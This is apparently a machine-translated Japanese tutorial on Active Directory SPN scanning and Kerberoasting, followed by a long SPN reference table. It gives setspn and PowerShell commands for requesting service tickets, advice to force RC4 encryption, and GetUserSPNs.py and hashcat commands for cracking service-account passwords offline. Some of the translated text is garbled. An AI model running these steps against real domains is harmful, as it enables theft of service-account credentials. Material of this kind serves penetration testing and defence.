0x01 SPN定義
サービスプリンシパル名(SPN)は、特定のKerberosターゲットコンピューターを独自に識別するためにKerberosクライアントが使用するサービスインスタンス名です。 Kerberos AuthenticationはSPNを使用して、サービスインスタンスをサービスログインアカウントに関連付けます。森林全体のコンピューターに複数のサービスインスタンスがインストールされている場合、各インスタンスには独自のSPNが必要です。クライアントが複数の名前で認証できる場合、特定のサービスインスタンスには複数のSPNを持つことができます。たとえば、SPNには常にサービスインスタンスを実行するホスト名が含まれているため、サービスインスタンスはホストの各名前またはエイリアスのSPNを登録できます。
0x02 SPNスキャン
SNスキャンは、Kerberosサービスインスタンス名をスキャンすることもできます。アクティブなディレクトリ環境でサービスを発見する最良の方法は、「SPNスキャン」を使用することです。特定のSPNタイプのサービスプリンシパル名を要求してサービスを見つけることにより、ネットワークポートスキャンを介したSPNスキャン攻撃者の主な利点は、SPNスキャンでは、ネットワークに接続された各IPがサービスポートを確認する必要がないことです。 SPNスキャンは、LDAPクエリを介してドメインコントローラーにサービスの発見を実行します。 SPNクエリは通常のKerberosチケットの一部であるため、クエリを使用できない場合は、ネットワークポートスキャンで確認できます。
1.SPNフォーマット
spn=serviceclass "/" hostname [":" port] ["/" serviceName]
ServiceClass=MSSQL
servicename=sql.bk.com
で:
ServiceClass: Webサービスのwwwなどのサービスクラスの文字列を識別します
HOSTNAME:文字列はシステムの名前です。これは、完全に適格なドメイン名(FQDN)である必要があります。
PORT:番号はサービスのポート番号です。
ServicEname:サービスの著名な名前(DN)、ObjectGuid、インターネットホスト名、または完全に適格なドメイン名(FQDN)である文字列。
注:サービスクラスとホストが必要なパラメーターですが、ポートとサービス名はオプションです。ホストとポートの間のコロンは、ポートが存在する場合にのみ必要です。
2。一般的なサービスとSPNサービスインスタンス名
mssqlsvc/adsmssqlap01.adsecurity.org:1433
交換
Exchangemdb/adsmsexcas01.adsecurity.org
RDP
The Termerv/adsmsexcas01.adsecurity.org
WSMAN/WINRM/PSリモート
wsman/adsmsexcas01.adsecurity.org
Hyper-Vホスト
Microsoft Virtual Console Service/adsmshv01.adsecurity.org
vmware vcenter
sts/adsmsvc01.adsecurity.org
2。 SPNスキャンPSスクリプト
MSSQLサービスでSPNサービスインスタンスの名前を発見してください。
https://github.com/pyrotek3/powershell-ad-recon/blob/master/discover-psmssqlservers
他のSPNサービスインスタンス名クエリ:
https://github.com/pyrotek3/powershell-ad-recon
各サーバーはKerberos認証サービスにSPNを登録する必要があるため、これはポートスキャンを実行せずに環境に関する情報を収集するのに最適な方法を提供します。
例えば:
管理者は、「MetCorpKCS17」という名前のサーバーにMicrosoft SQL Serverをインストールおよび構成し、ポート3170 3および3171に耳を傾けるSQLインスタンスを使用します。
その後、サービスクラスとインスタンス名は次のように生成されます。
MSSQLSVC/METCORPKCS17.ADSECURITY.org:3170MSSQLSVC/METCORPKCS17.ADSECURITY.org:3171
青い部分はサービスクラス、オレンジ色の部分はコンピューターのFQDN、緑の部分はネットワークポート番号です。KerberosはSPN要求がディレクトリの既存のSPNに一致するため、最後の番号は必ずしもサーバー上のポートではありません。上記のように、ほとんどの場合、SPNに記録されたポートはサーバー上のリスニングポートであり、すべてのSPNがポートを含むわけではありません。これで、Active DirectoryドメインまたはフォレストでSQLサーバーを発見するためのより良い方法があります。ServicePrincipalName=MSSQL*
0x03
SPNスキャンとクラッキングTGSチケットはMSSQLサービスを使用してSPNを例として構成します
参照構成アドレス:
https://technet.microsoft.com/zh-cn/library/bb735885.aspx
1。SQLの場合
サーバーサービスアカウント登録SPN
手動登録:
setSpn -a mssqlsvc/myhost.redmond.microsoft.com:1433 accountname
対応する名前のインスタンス:
setSpn -a mssqlsvc/myhost.redmond.microsoft.com/instancename accountname
2。ユーザーに対応するSPNを確認します。
setspn -l ruos \ sql -service
3. ADSI(ADSIEDIT.MSC)を使用して、ユーザー属性を表示します
4.広告のユーザーにサービスログイン権限を指定します。
gpo_name \ computer
Configuration \ Windows Settings \ Security Settings \ Local Policies \ User Rights
割り当て
サービスとしてログオンします
5 .変更
SQL Server Serviceアカウントはドメインユーザーアカウントです
6。ブルートフォースケルベロス
TGSチケット
暗号化タイプはRC4_HMAC_MD5であるため、Kerberos Protocol TGS-REPの4番目のステップは、サービスアカウントのNTLMパスワードで暗号化されたチケットを返します。
7.SPNスキャン
setspn -t
ドメイン-Q */*
または
https://github.com/pyrotek3/powershell-ad-recon/
8。spnをリクエストします
Kerberosのチケット
PS C: \
Add -Type -Assemblyname System.IdentityModel
PS C: \
new-Object System.IdentityModel.tokens.kerberosRequestorseCurityToken
-argumentlist 'mssqlsvc/webtst01.ruos.org/sqlexpress'
9。チケットを表示およびエクスポートします
デフォルトの構成暗号化タイプはAES256_HMACであり、TGSREPCRACKをクラックできません。サーバーグループポリシーで暗号化タイプをRC4_HMAC_MD5として指定できます。
gpo_name \ computer configuration \ windows settings \ security settings \ local
ポリシー\セキュリティオプション
Network Security: Kerberosに許可される暗号化タイプを構成します
10。オフラインのひび割れ
TGSREPACK(RC4_HMAC_MD5のみ)、またはハッシュカットを使用してハッシュを保存してクラックします。
ハッシュをエクスポートする(他の暗号化タイプ用)
getUserSpns.py -Request -OutputFile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
または、請求書からkirbi2john.pyをエクスポートします
1-40A00000-USER2@MSSQLSVC~webtst01.ruos.org~sqlexpress-ruos.org.kirbi
S2。 hashcat64.exe -m 13100 hash.txt emple.dict –force
次のように他のひび割れツールを参照することもできます。
https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
0x04
Active Directoryサービスの包括的な参照テーブルプリンシパル名(SPN)Acronisagent:Acronisバックアップおよびデータ回復ソフトウェア用
Adtserver:ACSを備えたMicrosoftシステム
センターオペレーションマネージャー(2007/2012)管理サーバー
Afpserver:Appleアーカイブプロトコル
AGPMSERVER:Microsoft Advanced Group Policy Management(AGPM)
aradminsvc-タスクマスターロールサーバー
ARSSVC-タスクマスターロールサーバー
BOCMS:コマーシャルCMS
BOSSO:ビジネスオブジェクト
CESREMOTE:VMware上のCitrix VDIソリューションに関連して、多くのVDIワークステーションにはこのSPNがあります。
CIFS:ユニバーサルインターネットファイルシステム
CMRCService:Microsoft System Center Configuration Manager(SCCM)リモートコントロール
CusessionKeysVr:Cisco Unity VoIPシステム
CVS:CVSライブラリ
DFSR *:分散ファイルシステム
DNS:ドメイン名サーバー
E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPCコピー
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:Adam Instance
EDVR:ExacqVision Service
ExchAngeAB:アドレス帳サービスを交換(通常はNSPI、通常はすべてのGCをサポートするドメインコントローラー)
ExchangemDB:RPCクライアントアクセスサーバーの役割
Exchangerfr:アドレス帳サービスを交換します
FCSVR:Apple Final Cut Server
filerepservice:wsfilerepservice.exe
FimService:Microsoft
最前線の識別マネージャー(FIM)
FTP:ファイル転送プロトコル
GC:ドメインコントローラーグローバルカタログサービス
HDFS:Hadoop(Ambari)
ホスト:ホストサービスはホストを表します。ホストSPNは、サービスチケットの作成時にKerberosプロトコルによって長期キーを使用するホストアカウントにアクセスするために使用されます。
HTTP:Kerberos認証をサポートするHTTPネットワークサービスのSPN
Hyper-Vレプリカサービス:Microsoft Hyper-Vレプリカサービス
IMAP:インターネットメッセージアクセスプロトコル
IMAP4:インターネットメッセージアクセスプロトコルバージョン4
IPP:インターネット印刷プロトコル
ISCSITARGET:ISCSI構成
Kadmin:Kerberos
LDAP:ドメインコントローラーやAdamインスタンスなどのLDAPサービス。
MAGFS:Maginatics Magfs
MapRed:Cloudera
Microsoft Virtual Consoleサービス:HyperVホスト
Microsoft Virtual System Migration Service:P2Vサポート(Hyper-V)
Mongod:Mongodb Enterprise
Mongos:Mongodb Enterprise
MSClusterVirtualServer:Windowsクラスターサーバー
MSOLAPSVC:SQL Server Analysis Service
MSOLAPSVC.3:SQL Server Analysis Service
MSOLAPDISCO.3:SQL Server Analysis Service
MSOMHSVC:Microsoft System Center Operations Manager(2007/2012)管理サーバー
MSOMSDKSVC:Microsoft System
センターオペレーションマネージャー(2007/2012)管理サーバー
MSSERVERCLUSTER:Windowsクラスターサーバー
MSSERVERCLUSTERMGMTAPI:このクラスターAPIでは、このSPNにKerberosを使用してサーバーに認証する必要があります
MSSQL:Microsoft SQL
サーバ
MSSQLSVC:Microsoft SQL
サーバ
MSSQL $ ADOBECONNECT:Adobe ConnectをサポートするMicrosoft
SQL Server
MSSQL $ BIZTALK:Microsoft SQL
サーバーはMicrosoftをサポートします
biztalkサーバー
MSSQL $ BusinessObjects:ビジネスオブジェクトをサポートするMicrosoft
SQL Server
MSSQL $ DB01NETIQ:NETIQをサポートするMicrosoft SQL
サーバ
NFS:ネットワークファイルシステム
Nppolicyevaluator:Dell Quest監査人
Nprepository 4(Changeauditor):Dell Quest Change
監査人
NPREPOSITORY4(CAAD):Dell Quest監査人
NPREPOSITORY4(デフォルト):Dell Task Auditor
NTFRS *:NTファイルコピーサービス
Oracle:Oracle Kerberos認証
Pcast:Apple Podcastプロデューサー
PCNSCLNT:自動パスワード同期ソリューション(MIIS 2003&FIM)
ポップ:電子メール契約
POP3:電子メール契約バージョン3
PVSSOAP:Citrix
プロビジョニングサービス(7.1)
制限付きkrbhost:サービスクラスの文字列が「restrictedkrbhost」に等しいSPNを使用するサービスクラス。サービスバウチャーはコンピューターアカウントキーを使用してセッションキーを共有します。
RPC:リモートプロシージャコールサービス
SAP:SAP/SAPSERVICE
シド
SAS:SASサーバー
SCVMM:システムセンター仮想マシンマネージャー
Secshd:IBM Infosphere
SIP:セッションスタートアッププロトコル
SMTP:単純なメール転送プロトコル
SMTPSVC:単純なメール転送プロトコル
SoftGrid:Microsoftアプリケーション仮想化(APP-V)以前は「SoftGrid」
STS:VMware SSOサービス
SQLAGENT $ DB01NETIQ:SQL Service for Netiq
Tapenego:Microsoftファイアウォール(ISA、TMGなど)などのルーティングアプリケーションに関連付けられています。
The ThersRV:Microsoftリモートデスクトッププロトコルサービス、ターミナルサービスとしても知られています。
TNETD:Juniper Kerberos認証
「TNETDは、ルーティングエンジンやパケット転送エンジンなどのさまざまなコンポーネント間の内部通信に使用されるデーモンです」
VMRC:Microsoft Virtual Server 2005
VNC:VNCサーバー
VPN:仮想プライベートネットワーク
VPRORECOVERY BACKUP Exec System Recovery Agent 7.0
VPRORECOVERY BACKUP Exec System Recovery Agent 8.0
VPRORECOVERYバックアップEXECシステム回復エージェント9.0
vProrecovery Norton Clone Proxy 12.0
vprorecoverynorton
クローンプロキシ14.0VPRORECOVERY NORTON CLONE Proxy 15.0
VProRecovery Symantec System Recovery Agent 10.0
VProRecovery Symantec System Recovery Agent 11.0
VProRecovery Symantec System Recovery Agent 14.0
vssrvc: Microsoft Virtual Server (2005)
WSMAN:Windowsリモート管理(WS管理標準に基づく)サービス
XMPP/XMPP:拡張可能なメッセージとレンダリングプロトコル(Jabber)
Xgrid:Appleの分散(グリッド)計算/
Mac OS X 10.6サーバー管理
糸:クルダラ
MapReduce
注:ドメインコントローラーは、パブリックSPNをホストSPNに自動的にマッピングします。コンピューターがドメインに結合されると、ホストSPNはすべてのコンピューターアカウントのServicePrincipalNameプロパティに自動的に追加されます。ドメインコントローラーSPNマッピングは、SPNMAppingsのプロパティによって制御されます。
「CN=ディレクトリ
サービス、cn=windowsnt、cn=services、cn=configuration
SPNは自動的にホスト(SPNMAPPING属性値):Alerterにマッピングされます
appmgmt
CISVC
Clipsrv
ブラウザ
DHCP
dnscache
レプリケーター
eventlog
Eventsystem
政策立案者
オークリー
dmserver
DNS
MCSVC
ファックス
msserver
IAS
メッセンジャー
Netlogon
ネットマン
netdde
netddedsm
nmagent
プラグプレイ
ProtectedStorage
ラスマン
rpclocator
RPC
RPCSS
RemoteaCcess
お返事お願いします
samss
scandsvr
SSRV
Seclogon
SCM
DCOM
CIF
スプーラ
SNMP
スケジュール
tapisrv
trksvr
trkwks
UPS
時間
勝ちます
www
http
W3SVC
iisadmin
MSDTC
Recommended Comments